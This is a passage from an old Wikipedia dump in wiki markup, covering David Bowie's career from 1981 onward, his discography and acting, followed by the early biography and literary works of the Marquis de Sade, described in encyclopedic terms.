In 1981, Bowie released &quot;[[Under Pressure]]&quot;, co-written by and performed with [[Queen (band)|Queen]]. The song was a hit and became Bowie's third number one single as well as one of Queen's all time classics. The song appears on the Queen album ''Hot Space''. In the same year Bowie made a cameo appearance in the German movie ''[[Christiane F.|Christiane F, wir Kinder vom Bahnhof Zoo]]'', the real-life story of a 13 year-old girl in Berlin who becomes addicted to heroin and ends up prostituting herself. Bowie is credited with &quot;special cooperation&quot; in the credits and his music features prominently in the movie. The soundtrack was released in 1982 and contained a version of &quot;Heroes&quot; sung partially in German.

Bowie then scored his first truly commercial blockbuster with ''[[Let's Dance]]'' (1983), a slick dance album with co-production by ''[[Chic]]'''s [[Nile Rodgers]]. It was a departure from ''Scary Monsters'' for which Bowie received a bit of inside criticism; rather than revolting against 1980s dance music, he had definitely joined the scene. The title track went to number one in the United States and United Kingdom: due to its popularity, many now consider it a standard. The album also featured the singles &quot;Modern Love&quot; and &quot;China Girl&quot;, the latter causing something of a stir due to its suggestive promotional video. &quot;China Girl&quot; a was remake of a song which Bowie co-wrote several years earlier with Iggy Pop, who recorded it for ''The Idiot''. ''Let's Dance'' is also notable as a stepping stone for the career of the late [[Texas|Texan]] guitarist [[Stevie Ray Vaughan]], who played on the album and was to have supported Bowie on his new world tour for the album ''The Serious Moonlight Tour''. The tour was a huge success, and one concert actually scored Bowie a million dollars on its own. Vaughan, however, never joined the tour after a pay dispute between Bowie and Vaughan's manager at the time. Vaughan was replaced by [[Earl Slick]].

The 1984 follow-up album ''[[Tonight (album)| Tonight]]'' was also dance-oriented, featuring collaborations with [[Tina Turner]] and a cover of [[The Beach Boys]]' &quot;[[God Only Knows]]&quot;. Critics slammed it as a lazy effort, dashed off by Bowie simply to recapture ''Let's Dance''&lt;nowiki&gt;&lt;/nowiki&gt;'s chart success. Yet the album bore the transatlantic top ten hit &quot;[[Blue Jean (song)|Blue Jean]]&quot; whose complete video, a 22-minute short film directed by [[Julien Temple]], reflected Bowie's long-standing interest in combining music with [[drama]]. It also featured the minor hit &quot;Loving the Alien&quot;. The album also has a pair of dance version rewrites of &quot;Neighbourhood Threat&quot; and &quot;Tonight&quot;, old songs Bowie wrote with Iggy Pop which had originally appeared on ''Lust for Life''.

In 1985, Bowie performed several of his greatest hits in a memorable performance at the [[Wembley Stadium|Wembley]] leg of [[Live Aid]]. At the end of his set, he introduced a film of the [[Ethiopia]]n [[famine]], for which the event was raising funds, which was set to the song &quot;Drive&quot; by the [[the Cars|Cars]]. At the event, the video to a [[fundraising]] single was premiered &amp;ndash; Bowie duetting with [[Mick Jagger]] on a version of &quot;Dancing In The Street&quot;, which quickly went to Number 1 on release.

In 1986 Bowie contributed the theme song to the film ''[[Absolute Beginners (movie)|Absolute Beginners]]''. The movie was not well reviewed but Bowie maintained for many years that the song, a UK Number 2 hit, was one of the best and most professional he'd ever written. He also took a role in the 1986 Jim Henson film &quot;[[Labyrinth (film)|Labyrinth]]&quot; as Jareth, the Goblin King, who steals the baby brother of a girl named Sarah (played by Jennifer Connelly), in order to turn him into a goblin. Bowie wrote songs for the film, some of which became singles.

Bowie's final dance album was ''[[Never Let Me Down]]'' (1987), where he ditched the light dance of his two earlier albums, instead throwing himself into harder rock with a dance edge. The album, which 'only' scraped to a UK #6 peak, drew some of the harshest criticism of Bowie's career, condemned by critics as a faceless piece of product and ignored by the public &amp;mdash; Bowie himself openly apologised in an interview for the album's quality; defenders of the album maintain that many of its songs are underrated and that Bowie at this time was simply facing the inevitable backlash of an overexposed superstar. 

Opening on [[May 30]] [[1987]], The ''Glass Spider Tour'' sought to market the album; visiting fifteen countries and produced eighty six performances (mostly in stadiums), as well as nine promotional press shows. Musicians included: [[Carlos Alomar]] (guitar), [[Peter Frampton]] (lead guitar), Carmine Rojas (bass), Alan Childs (drums), Erdal Kizilcay (keyboards, trumpet, congas, violin) and Richard Cottle (keyboards, saxophone). Dancers included: Melissa Hurley, [[Viktor Manoel]], [[Constance Marie]], Craig Allen Rothwell (aka Spazz Attack), and Stephen Nichols. Some critics slammed it as being too silly, overproduced, and pandering in its special effects and dancers.  However fans that saw the shows from that ''Glass Spider Tour'' were treated to many of Bowie's classics.

===1989 to 1991: Tin Machine===
In 1989, for the first time since the early 1970s, Bowie formed a regular band, [[Tin Machine]], a hard-rocking quartet, along with [[Reeves Gabrels]], [[Tony Sales]], and [[Hunt Sales]]. Obviously influenced by many ascendent [[alternative rock]]ers (including the [[Pixies]]), Tin Machine released two studio albums and a live record. The band received mixed reviews and a somewhat lukewarm reception from the public, but Tin Machine heralded the beginning of an ongoing collaboration between Bowie and Gabrels.

The original album, ''[[Tin Machine (album)|Tin Machine]]'' (1989), was a success, holding the number 3 spot on the charts of the UK. Tin Machine launched its first world tour, featuring a now unshaven David Bowie, that year. Despite the success of the Tin Machine venture, Bowie was mildly frustrated that many of his ideas were either rejected or changed by the band.

Bowie began the 1990s with a stadium tour, in which he played mostly his biggest hits. The &quot;Sound + Vision Tour&quot; (named after the ''Low'' single) drew large crowds, perhaps in part because he had declared that this would be the last time he would play the hits. Though he surprised no one when he later reneged on that promise (and also on the promise that his set in each country would be focused on the favourite hits voted by phone poll in that country... an idea quickly jettisoned when a puckish campaign by the British magazine ''[[NME]]'' resulted in a landslide in favour of ''The Laughing Gnome''!), it is true that his later tours generally featured few of those hits, and when they appeared, they were often radically reworked in their arrangement and delivery.

After the less successful second album ''[[Tin Machine II]]'' and the complete failure of live album ''[[Oy Vey, Baby]]'', Bowie tired of having to work in a group setting where his creativity was limited, and finally disbanded Tin Machine to work on his own. But the Tin Machine venture did show that Bowie had learned some harsh lessons from the previous decade, and was determined to get serious about concentrating on music more than commercial success.

===1992 to 1999: Bowie's solo career in the 90's===
&lt;!-- Unsourced image removed: [[Image:dbowie3.jpg|frame|left|David Bowie, 2002.]] --&gt;

1993 saw the release of the soul, [[jazz]] and [[hip-hop]] influenced ''[[Black Tie White Noise]]'', which reunited Bowie with ''Let's Dance'' producer [[Nile Rodgers]]. Though considered by some critics to be musically far superior to ''Let's Dance'', the public was still unsure whether or not it was ready to be receptive to Bowie again. The album, however, met the number one spot on the UK charts with singles such as &quot;Jump They Say&quot; and &quot;Miracle Goodnight&quot;. However, until re-releases later in the 1990s, the album was extraordinarily rare after the fledgling [[Savage Records]] on which it had been released suddenly went belly-up. The album is often considered Bowie's oddest departure.

Undaunted, Bowie explored new directions on albums such as 1993's ''[[The Buddha of Suburbia (soundtrack)|The Buddha of Suburbia]]'' (built on incidental music composed for a TV series). The album still contained some of the new elements introduced in ''Black Tie White Noise'', except with more of a twist in the direction of [[alternative rock]]. The album's odd success later led to a 1994 re-release in the United States, and Bowie hails it as being an album of entirely his own, original, and newly created work.

1995's ambitious, quasi-[[industrial music|industrial]] ''[[1.OUTSIDE| 1. Outside]]'', supposed to be the first volume in a subsequently abandoned nonlinear narrative of art and murder, reunited him with Eno. The album introduced the characters of one of Bowie's short stories, and was quite an interesting success. The album put Bowie back into the mainstream scene of rock music with its singles such as &quot;Hallo Spaceboy&quot; and &quot;The Heart's Filthy Lesson&quot;. In September of 1995 Bowie began his the [[Outside Tour]] with Gabrels again joining Bowie as his live band's guitarist. In a move that was equally lauded and ridiculed by Bowie fans and critics, Bowie chose [[Trent Reznor]]'s [[Nine Inch Nails]] as the tour partner.  NIN &amp; Bowie toured as a co-headlining act. Although initially successful, the tour was cancelled early due to poor sales. However, Reznor has gone on record numerous times as being heavily influenced by Bowie, and further collaborated with him by [[remix]]ing &quot;The Heart's Filthy Lesson&quot;.  

1997's ''[[Earthling (album)|Earthling]]'' incorporated experiments in jungle and drum and bass and included a single released over the [[Internet]], called &quot;Telling Lies.&quot; There was ultra-sustained energy in this album, along with experiments in [[Techno music|techno]] drum rhythms, while still holding to Bowie's own musical concepts. Singles such as &quot;Little Wonder&quot; and &quot;[[I'm Afraid of Americans]]&quot; (also remixed by Reznor) were the forefront of the album. There was a corresponding world tour, which was fairly successful.

On [[9 January]], [[1997]], Bowie played a concert at [[Madison Square Garden]] to celebrate his 50th birthday (although his birthday was the previous day). Guest performers included [[Billy Corgan]], [[Frank Black]], [[Sonic Youth]], [[Robert Smith (musician)|Robert Smith]] of [[The Cure]], [[Brian Molko]], and [[Lou Reed]] whose 1972 album ''[[Transformer (album)|Transformer]]'' Bowie co-produced.

The 1998 [[Todd Haynes]] film ''[[Velvet Goldmine]]'' drew its title from a Ziggy-era Bowie song and contained many events paralleling Bowie's life on and off stage; the relationship between the two main characters, Curt Wild (played by [[Ewan McGregor]]) and Brian Slade (played by [[Jonathan Rhys-Meyers]]) was loosely based on that of Iggy Pop and David Bowie (respectively) during the 1970s. The tagline &quot;The rise of a star... the fall of a legend&quot; obviously recalls the name the '''Rise and Fall of Ziggy Stardust''', and the film contains numerous references to Bowie's career. 

In an interview with the band [[Placebo (band)|Placebo]], Bowie noted that he liked the story, but the movie felt more like the early 1980s than the early 1970s. He did not permit his own songs to be used in the film when requested, and soon he combatted it in a lengthy court case, where Bowie sued to try to stop the film's release due to his offense at the depiction of the Slade character as being vile and opportunistic.

1999's ''[['hours...' (album)|'hours...']]'' featured &quot;What's Really Happening&quot;, the [[lyrics]] for which were written by the winner of an Internet competition.  This album was also featured as the soundtrack of a computer game called &quot;[[Omikron - The Nomad Soul]].&quot;  In which David Bowie and his wife, Iman, also made appearances as characters. Bowie also performed live again extensively throughout the '90s. The decade also saw him launch a branded [[internet service provider]] (BowieNet) as well as a novel and quite successful fundraising scheme to raise cash on the strength of future [[copyright|royalties]], called '''Bowie Bonds'''.

===2000 to today: Contemporary Bowie===

Bowie opened the &quot;Concert for New York City&quot; at Madison Square Garden on [[20 October]], [[2001]], to aid [[September 11, 2001 attacks|9/11]] victims' families. He performed two carefully chosen songs, ''America'' and ''&quot;Heroes&quot;'', striking a deep emotional chord in the audience of firefighters, police, other rescue workers, and bereaved families.

The 2002 album ''[[Heathen (album)|Heathen]]'' reunited him with [[Tony Visconti]], producer of many of his best 1970s efforts, and won critical acclaim for his best chart performance in years. It also included a cover of the [[Pixies]] song 'Cactus', which was another off-shoot of Bowie's consistent interest in the band. Earlier in 1998, he had also reunited with Visconti to record a song for ''The [[Rugrats]] Movie'' called '''Sky Life'''. 

Surprisingly, it was edited out of the final cut, and did not feature on the film's [[soundtrack]] album. A bootleg remix of his '[[Hunky Dory]]' classic 'The Bewlay Brothers' surfaced on white label vinyl and the internet, courtesy of the heavily Bowie influenced [[Steve Haw]] under the guise of 'DJ Spaceboy' - a name inspired by the Bowie track 'Hallo Spaceboy'.

In 2003, a report in the [[Express (newspaper)|Sunday Express]] named Bowie as the second-richest entertainer in the U.K. (behind Sir [[Paul McCartney]]), with an estimated fortune of £510 million. Later that year, Bowie released a new album, ''[[Reality (album)|Reality]]'', and announced a world tour.

In 2004, taking the market by surprise, &quot;[[A Reality Tour]]&quot; was the best selling tour of the year.  However, it was cut short after Bowie suffered chest discomfort while performing on stage in the northwestern German town of Scheesel, on [[June 25]]. Originally thought to be a pinched nerve in his shoulder, and later diagnosed as an acutely blocked [[artery]], an emergency [[angioplasty]] was performed at a hospital in the region. He was then released in early July and continues to spend time recovering. The tour was cancelled for the time being, with hopes that he would go back on tour by August. Although these hopes, as time has shown, did not materialise into more live shows, Bowie released a live DVD of the tour, entitled [['David Bowie - A Reality Tour']], in [[October]] [[2004]], which included songs spanning the full length of Bowie's career, although mostly focusing on his more recent albums.

Also in 2004, he duetted his classic song &quot;Changes&quot; with [[Butterfly Boucher]]. This recording was released on the soundtrack to ''[[Shrek 2]]''.

On June 25th 2004 Bowie was still on tour and complained of pain in his shoulder. Soon the pain became far too excrutiating for Bowie, leading him to abruptly end a performance. It was discovered that he had an acutely pinched nerve which was then diagnosed as an acutely blocked artery which required emergency surgery. He underwent heart surgery in Germany and recovered back in New York, however, he had to cut his tour short, and retire from performance for the latter part of the year.

The soundtrack for the film [[The Life Aquatic with Steve Zissou]] featured David Bowie songs performed in [[Portuguese language|Portuguese]] by cast member [[Seu Jorge]] (who adapted some lyrics to make them relevant to the film's story). Most of the David Bowie songs featured in the film were originally from either ''[[Hunky Dory]]'' or ''[[The Rise and Fall of Ziggy Stardust and the Spiders from Mars]]'', with the exception of ''[[Rebel Rebel]]'' and ''[[When I Live My Dream]]''. David Bowie commented on Jorge's performances, &quot;Had Seu Jorge not recorded my songs acoustically in Portuguese I would never have heard this new level of beauty which he has imbued them with&quot; (see [[http://www.forbes.com/feeds/prnewswire/2005/11/14/prnewswire200511141546PR_NEWS_B_WES_LA_LAM135.html]]).

Despite hopes for a comeback, in 2005, David Bowie announced that he had made no plans for any performances during the year. However, after a relatively quiet year, Bowie recorded the vocals for the song &quot;(She Can) Do That&quot;, co-written by [[Brian Transeau|BT]], for the movie ''[[Stealth (movie)|Stealth]]'' (2005). Rumours flew about the possibility of a new album, but no announcements were made. However, David Bowie finally returned to the stage on [[September 9]], for a performance alongside [[The Arcade Fire]] for the nationally televised event Fashion Rocks, his first gig since the heart attack.  Bowie has shown interest in the Montreal band since he was seen at one of their shows in New York City nearly a year earlier. Bowie had requested the band to perform at the show, and together they performed the Arcade Fire's song &quot;Wake Up&quot; from their album [[Funeral (album)|Funeral]]. He joined them again on [[15 September]], singing '''Queen Bitch''' and '''Wake Up''' from Central Park's Summerstage as part of the CMJ Music Marathon.

David Bowie made occasional apppearances, as in his commercial with [[Snoop Dogg]] for [[XM Satellite Radio]].

In 2005 Bowie appeared on Danish alt-rockers [[Kashmir (band)|Kashmir's]] 2005 release, No Balance Palace, which furthermore was produced by Tony Visconti. The album also featured a spoken word performance by [[Lou Reed]], making it the second project involving both Bowie and Reed in two years, since Reed's [[The Raven (album)| The Raven]], which was released in 2003.

Today, Bowie lives in [[New York City]] with his second wife, the [[Somalia|Somali]]-born [[model (person)|model]] [[Iman Abdulmajid|Iman]], and their daughter, Alexandria Zahra Jones (known as Lexi). He also has a stepdaughter by Iman's first marriage.

==Discography==

This is a discography of David Bowie's studio albums. See [[David Bowie discography]] for details about other albums.

# ''[[David Bowie (album)|David Bowie]]'' (1967)
# ''[[Space Oddity (album)|Space Oddity]]'' (1969, the 1972 reissue charted at UK #17, US #16)
# ''[[The Man Who Sold the World]]'' (1970, the 1972 reissue charted at UK #26)
# ''[[Hunky Dory]]'' (1971, US #93, the 1972 reissue charted at UK #3)
# ''[[The Rise and Fall of Ziggy Stardust and the Spiders from Mars]]'' (1972, UK #5, US #75)
# ''[[Aladdin Sane]]'' (1973, UK #1, US #17)
# ''[[Pin Ups]]'' (1973, UK #1, US #23)
# ''[[Diamond Dogs]]'' (1974, UK #1, US #5)
# ''[[Young Americans (album)|Young Americans]]'' (1975, UK #1, US #9)
# ''[[Station to Station]]'' (1976, UK #5, US #3)
# ''[[Low (album)|Low]]'' (1977, UK #2, US #11)
# ''[[&quot;Heroes&quot;]]'' (1977, UK #3, US #35)
# ''[[Lodger (album)|Lodger]]'' (1979, UK #4, US #20)
# ''[[Scary Monsters (and Super Creeps)]]'' (1980, UK #1 US #12)
# ''[[Let's Dance]]'' (1983, UK #1, US #1)
# ''[[Tonight (album)|Tonight]]'' (1984, UK #1, US #11)
# ''[[Never Let Me Down]]'' (1987, UK #6, US #34)
# ''[[Black Tie White Noise]]'' (1993, UK #1, US #39)
# ''[[The Buddha of Suburbia (soundtrack)|The Buddha of Suburbia]]'' (1993, UK #87)
# ''[[1.OUTSIDE]]'' (1995, UK #8, US #21)
# ''[[Earthling (album)|Earthling]]'' (1997, UK #6, US #39)
# ''[[Hours (Bowie album)|'hours...']]'' (1999, UK #5, US #47)
# ''[[Heathen (album)|Heathen]]'' (2002, UK #5, US #14)
# ''[[Reality (album)|Reality]]'' (2003, UK #3, US #29)

==Bowie the actor==

Bowie's first film major role in ''[[The Man Who Fell to Earth]]'' earned acclaim, as did his performance on stage as ''[[Joseph Merrick|The Elephant Man]]''. 

He had appeared in a few late '60's  avant garde films, mostly as an extra. Since then his acting career has been sporadic. [[Nagisa Oshima]]'s film ''[[Merry Christmas, Mr. Lawrence]]'', based loosely on [[Laurens van der Post]]'s novel ''[[The Seed and the Sower]]'', was released in 1983. Bowie played Maj. Jack Celliers, a prisoner of war in a [[Japan]]ese [[internment camp]]; another famous musician, [[Ryuichi Sakamoto]], played the camp commandant. Bowie has a small part as a hit-man in 1985 film ''[[Into the Night]]''. Bowie also played a sympathetic [[Pontius Pilate]] in [[Martin Scorsese]]'s ''[[The Last Temptation of Christ]]''.

'''Mr. Lawrence''' impressed some critics but his next project, the rock musical ''[[Absolute Beginners (movie)|Absolute Beginners]]'' (1986), was both a critical and box office disappointment. The same year he appeared in the [[Jim Henson]] movie ''[[Labyrinth (film)|Labyrinth]]'', playing Jareth, the king of the [[goblin]]s.

Along with numerous appearances as himself, Bowie also appeared in ''[[The Hunger]]'', a revisionist [[vampire]] movie with [[Catherine Deneuve]] and [[Susan Sarandon]]; ''[[Basquiat]]'', a [[biopic]] of the artist [[Jean-Michel Basquiat]], in which Bowie played [[Andy Warhol]] to great acclaim; and as mysterious [[FBI]] agent Phillip Jeffries in ''[[Fire Walk With Me|Twin Peaks: Fire Walk With Me]]''. He also made a [[cameo role|cameo]] appearance as himself in the 2001 comedy ''[[Zoolander]]''.

Bowie appears in the 2002 List of ''[[100 Great Britons]]'' (sponsored by the [[BBC]] and voted for by the public), alongside such other greats as [[Winston Churchill]] and [[John Lennon]].

Bowie has been cast in director [[Christopher Nolan]]'s project, [[The Prestige]]. Bowie will portray [[Nikola Tesla]] alongside ''[[Batman Begins]]'' star: [[Christian Bale]] and ''[[X-Men 3]]'' star [[Hugh Jackman]].

It is rumoured that Bowie may be cast as [[The Joker (comics)|The Joker]] in [[Christopher Nolan]]'s 2008 [[sequel]] to 2005's ''[[Batman Begins]]''.

See [[David Bowie filmography]] for a complete guide to his film appearances.

==See also==
*[[Bowie Bonds]]
*[[Best selling music artists]] - World's top selling music artists chart.
*[[List of number-one hits (United States)]]
*[[List of artists who reached number one on the Hot 100 (U.S.)]]
*[[List of Number 1 Dance Hits (United States)]]
*[[List of artists who reached number one on the U.S. Dance chart]]
*[[100 Greatest Britons]]
*[[Low Symphony]] and [[Heroes Symphony]]

==External links==
*[http://www.davidbowie.com/ BowieNet] is the official David Bowie website which provides inside information and ISP service to subscribers and is updated by David's diligent lackey, Total Blam-blam.
*[http://www.bowiewonderworld.com/ Bowie Wonderworld Fansite] is a news site with a decent database of lyrics and pictures as well as sound bites and articles.
*[http://www.denis.co.uk/ Denis O'Regan] Official photographer: Serious Moonlight, Glass Spider, Sound &amp; Vision tours, and author of Serious Moonlight book
*[http://www.soundtrackinfo.com/search.asp?q=David+Bowie&amp;pos=2 the SoundtrackINFO project] details David Bowie songs appearing in movies and on soundtrack albums.
*[http://www.teenagewildlife.com/ Teenage Wildlife] is a sparingly updated David Bowie news site with many lyrics as well as the currently active [[Teenage wildlife forum]].
*[http://www.algonet.se/~bassman/ Bassman's David Bowie Page] includes a detailed official and unofficial discography, chart history and article archive.
*[http://5years.com/ The Ziggy Stardust Companion] is a detailed guide to David Bowie's work on the Ziggy Stardust album and the related tour.
*[http://www.manofmusic.com/ Manofmusic] is a French David Bowie site including a detailed encyclopedia of his life and work.
*[http://www.bowiedownunder.com/ Bowie Downunder] presents David Bowie news, detailed tour history and an email group for Australia and New Zealand fans.
* {{imdb name|name=David Bowie|id=0000309}} provides information on David Bowie and all films he has been involved in production of.
*[http://www.npg.org.uk/live/search/portrait.asp?LinkID=mp08176&amp;rNo=0&amp;role=art David Bowie's portrait ]by [[Stephen Finer]] in the National Portrait Gallery
*[http://www.cyberlink.ch/~koenig/bowie.htm Bowie and the Occult: The Laughing Gnostic] is an in-depth review of odd and mystic symbolism in David Bowie music.
*[http://www.littleoogie.com/ Little Oogie's David Bowie Site] is a large David Bowie site with a large database of pictures and tour setlists.
*[http://members.ol.com.au/rgriffin/GoldenYears/index.html Bowie Golden Years] provides a very detailed timeline of David Bowie's activities from 1974 to 1980.
*[http://www.velvetgoldmine.it Velvet Goldmine] the Italian David Bowie fanclub.
* [http://www.booksmusicfilmstv.com/BowieLinks.htm David Bowie's Early Years - A Potted History]
* [http://www.illustrated-db-discography.nl Illustrated db Discography] The complete David Bowie discography.
* [http://www.davidbowiecollection.trienkokrohne.nl/ My Almost complete David Bowie Collection] Still more added stuff

[[Category:1947 births|Bowie, David]]
[[Category:English male singers|Bowie, David]]
[[Category:Living people|Bowie, David]]
[[Category:Music from London|Bowie, David]]
[[Category:Blue eyed soul|Bowie, David]]
[[Category:English actors|Bowie, David]]
[[Category:Daytime Emmy Award winners|Bowie, David]]
[[Category:David Bowie|Bowie, David]]
[[Category:Twin Peaks actors|Bowie, David]]
[[Category:People who worked with David Lynch|Bowie, David]]
[[Category:Film actors|Bowie, David]]
[[Category:Rock musicians|Bowie, David]]
[[Category:Bisexual musicians|Bowie, David]]
[[Category:Rock and Roll Hall of Fame inductees|Bowie, David]]

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  <page>
    <title>Marquis de Sade</title>
    <id>8787</id>
    <revision>
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      <timestamp>2006-03-01T04:36:23Z</timestamp>
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      <comment>RV NON</comment>
      <text xml:space="preserve">[[Image:Sade (van Loo).png|thumb|right|190px|''Portrait of the Marquis de Sade'' by [[Charles-Amédée-Philippe van Loo]] (c. 1761)]]
'''Donatien Alphonse François de Sade''', better known as the '''[[Marquis]] de Sade''' and nicknamed the '''Divine Marquis''' ([[June 2]], [[1740]], [[Paris]] &amp;ndash; [[December 2]], [[1814]], [[Saint-Maurice, Val-de-Marne|Charenton-Saint-Maurice]]), was a [[France|French]] aristocrat and writer of [[philosophy]]-laden and often violent [[pornography]], as well as some strictly philosophical works. His is a philosophy of extreme [[freedom]], unrestrained by [[ethics]], [[religion]] or [[law]], with the egotistical pursuit of personal pleasure being the highest principle. Much of his writing was done during the 29 years he was incarcerated. 

His name is pronounced as {{IPA|[maʁ'ki.də.saːd]}} ([[IPA]]); it is the origin of the word [[sadism]].

== Life ==
=== Early life and education===

Sade was born in the [[Condé palace]] in [[Paris]]. His father was the [[Comte]] de Sade and his mother was Marie Elénore Maillé de Carman, who was a [[lady-in-waiting]] to the [[prince of Condé|princess of Condé]]. Early on he was educated by his uncle, an [[Abbé]] (who would later be arrested in a brothel). Sade then attended a [[Jesuit]] [[lycée]] and went on to follow a [[military]] career. He participated in the [[Seven Years' War]]. He returned from the war in [[1763]] and pursued a woman who rejected him; he then married Renée-Pelagie de Montreuil, daughter of a rich magistrate, in the same year. The marriage had been arranged by his father. They would eventually have three children together.

When his father died in January 1767, Sade assumed the title &quot;Comte de Sade&quot;, although he never used this title and continued to refer to himself as the &quot;Marquis de Sade&quot;.

=== Scandals and imprisonment ===

Shortly after his wedding, he began living a scandalous [[libertine]] existence and repeatedly abused young [[prostitution|prostitutes]] and employees of both sexes in his castle in [[Lacoste, Vaucluse]], later also with the help of his wife. His wayward behavior also included an affair with his wife's sister, who had come to live at the castle. 

After an episode in [[Marseille]] that involved poisoning of prostitutes with the supposed [[aphrodisiac]] [[spanish fly (insect)|spanish fly]] (nobody died), he was sentenced to death for sodomy and poisoning in [[1772]] but was able to flee to [[Italy]] and later hid at Lacoste. His mother-in-law obtained a ''[[lettre de cachet]]'' for his arrest. He kept a group of young employees at Lacoste, most of whom fled quickly. The father of one of these employees came to Lacoste to claim her, shot at the Marquis and barely missed.

In [[1777]] Sade was finally arrested and imprisoned in the [[Château de Vincennes|dungeon of Vincennes]]. He successfully appealed his death sentence in [[1778]], but remained imprisoned under the ''lettre de cachet''. He escaped but was recaptured soon after. In prison, he started to write. At Vincennes he met the fellow prisoner [[Honoré Mirabeau|Comte de Mirabeau]] who also wrote erotic works, but the two disliked each other immensely. 

In [[1784]], Vincennes was closed and Sade was transferred to the [[Bastille]] in [[Paris]]. On [[July 2]] [[1789]], he reportedly shouted out of his cell to the crowd outside, &quot;They are killing the prisoners here!&quot;, causing somewhat of a riot. Two days later, he was transferred to the [[Charenton (asylum)|insane asylum at Charenton]] near Paris. (The [[storming of the Bastille]], marking the beginning of the [[French Revolution]], happened on [[July 14]].) He had been working on his ''[[magnum opus]]'', &quot;[[The 120 Days of Sodom]]&quot; and he despaired when the manuscript was lost during his transferral; but he continued to write.

He was released from Charenton in [[1790]], after the new [[National Constituent Assembly|Constituent Assembly]] had abolished the instrument of ''lettre de cachet''. His wife obtained a divorce soon after.

=== Return to freedom, and imprisoned for &quot;moderatism&quot; ===

During his time of freedom (beginning 1790), he published several of his books anonymously. He met Marie-Constance Quesnet, a former actress and mother of a six year old son who had been abandoned by her husband; Constance and Sade would stay together for the rest of his life. Sade was by now extremely obese.

He initially arranged himself with the new political situation after the revolution, called himself &quot;Citizen Sade&quot;, and managed to obtain several official positions despite his aristocratic background. He wrote several political pamphlets. Sitting in court, when the family of his former wife came before him, he treated them favorably, even though they had schemed to have him imprisoned years earlier. He was even elected to the [[National Convention]], where he represented the far left.

Appalled by the [[Reign of Terror]] in [[1793]], he nevertheless wrote an admiring [[eulogy]] for [[Jean-Paul Marat]] to secure his position. Then he resigned his posts, was accused of &quot;moderatism&quot; and imprisoned for over a year. He barely escaped the [[guillotine]] (probably due to an administrative error) and was released after the overthrow and execution of [[Maximilien Robespierre|Robespierre]] had effectively ended the Reign of Terror. This experience presumably confirmed his life-long detestation of state tyranny and especially of the [[death penalty]]. 

Now all but destitute, in [[1796]] he had to sell his castle in [[Lacoste, Vaucluse|Lacoste]] that had been sacked in [[1792]]. (The ruins were acquired in the [[1990]]s by fashion designer [[Pierre Cardin]] who now holds regular theatre festivals there.)

=== Imprisoned for his writings, return to Charenton, and death ===

In [[1801]], [[Napoleon I of France|Napoleon Bonaparte]] ordered the arrest of the anonymous author of ''[[The Misfortunes of Virtue|Justine]]'' and ''[[L'Histoire de Juliette|Juliette]]''. Sade was arrested at his publisher's office and imprisoned without trial, first in the [[Sainte-Pélagie]] prison and then, following allegations that he had tried to seduce young fellow prisoners there, in the harsh fortress of [[Bicetre]]. After intervention by his family, he was declared insane in [[1803]] and transferred once more to the [[Charenton (asylum)|asylum at Charenton]]; his ex-wife and children had agreed to pay for his pension there.

Constance was allowed to live with him at Charenton. The liberal director of the institution, [[Abbe de Coulmier]], allowed and encouraged him to stage several of his plays with the inmates as actors, to be viewed by the Parisian public. Coulmier's novel approaches to psychotherapy attracted much opposition.

Sade began an affair with thirteen-year-old Madeleine Leclerc, an employee at Charenton. This affair lasted some 4 years, until Sade's death in 1814. He had left instructions in his will to be cremated and his ashes scattered, but instead he was buried in Charenton; his skull was later removed from the grave for [[phrenology|phrenological]] examination. His son had all his remaining unpublished manuscripts burned; this included the immense multi-volume work ''Les Journées de Florbelle''.

== Quotes ==
{{quotation|Imperious, choleric, irascible, extreme in everything, with a dissolute imagination the like of which has never been seen, atheistic to the point of fanaticism, there you have me in a nutshell.... Kill me again or take me as I am, for I shall not change.|Marquis de Sade|Last Will and Testament}}

== Literary works ==

Many of Sade's works contain explicit and often repetitive descriptions of [[rape]] and countless sexual [[perversion]]s, often involving violence and transcending the boundaries of the possible. Sade's libertines founded their philosophy on a purposeful flouting of moral norms and a hatred of religious ethics. In nature, they say, the strong win and the weak lose; therefore all laws and ethics, designed as they are to protect the weak, are seen as unnatural.

[[Image:Juliette Sade Dutch.jpg|thumb|right|230px|Illustration in a Dutch printing of ''Juliette'', c. 1800]]
In [[1782]], while in prison, he completed the short ''[[Dialogue Between a Priest and a Dying Man]]'', expressing his [[atheism]] by having the dying libertine convince the priest of the mistakes of a pious life. 

The novel ''[[The 120 Days of Sodom]]'', written in [[1785]] but not completed, catalogs a wide variety of sexual perversions performed on a group of enslaved teenagers and is Sade's most graphic work. The manuscript was believed to have been lost during the storming of the Bastille and the book was not published until [[1904]].

In 1787 he wrote ''[[The Misfortunes of Virtue|Les infortunes de la vertu]]'', an early version of ''Justine'' which was published in 1791. It describes the misfortunes of a girl who continues to believe in the goodness of [[God]] despite persistent evidence to the contrary. The companion novel ''[[L'Histoire de Juliette|Juliette]]'' (1798) narrates the adventures of Justine's sister, Juliette, who chooses to reject the teachings of the church and adopt an amoral [[Hedonism|hedonist]] philosophy, resulting in a successful fulfilled life.  

The novel ''[[Philosophy in the Bedroom]]'' (1795) accounts the lascivious education of a privileged young lady at the dawn of womanhood. The work is structured as a play and is concise, witty and engaging; the archetypal Sadean characters are, here, used most effectively. The book contains a lengthy political pamphlet ''Frenchmen! One More Effort If You Wish To Be Republicans!'' in which Sade advocates for a utopian form of [[socialism]]. He states that laws against theft are absurd: they protect the original thieves, the wealthy, against the poor who have no option left but theft. He also argues that the state has no right to outlaw murder if it continues to sanction institutionalized murder in the form of  executions and war. Laws against [[blasphemy]] are seen as pointless: they are not needed if God doesn't exist, and if He does, he surely won't be petty enough to care about minor attacks. The pamphlet was reprinted separately for distribution during the [[The_Revolutions_of_1848_in_France|revolution of 1848]].

In ''[[Aline and Valcour]]'' (1795) he contrasts a brutal African kingdom with a utopian island paradise. This was the first book published under his true name.

In [[1800]] he published a four-volume collection of [[short story|short stories]] titled ''Crimes of Love''. In the introduction, ''Reflections on the novel'', he gives general advice to writers and also provides a critique of [[gothic novel]]s, especially of ''[[The Monk]]'' by [[Matthew Gregory Lewis]] which he considers superior to the work of [[Ann Radcliffe]] [http://www.tabula-rasa.info/DarkAges/MonkFiles.html]. One notable story in the collection, ''Florville and Courval'', has itself been called &quot;gothic&quot; and revolves around a young woman who is unwittingly entangled in a web of incest.

While incarcerated again at Charenton, he completed three historical novels: ''Adelaide of Brunswick'', ''Isabelle of Bavaria'' and ''The Marquise de Gange''.

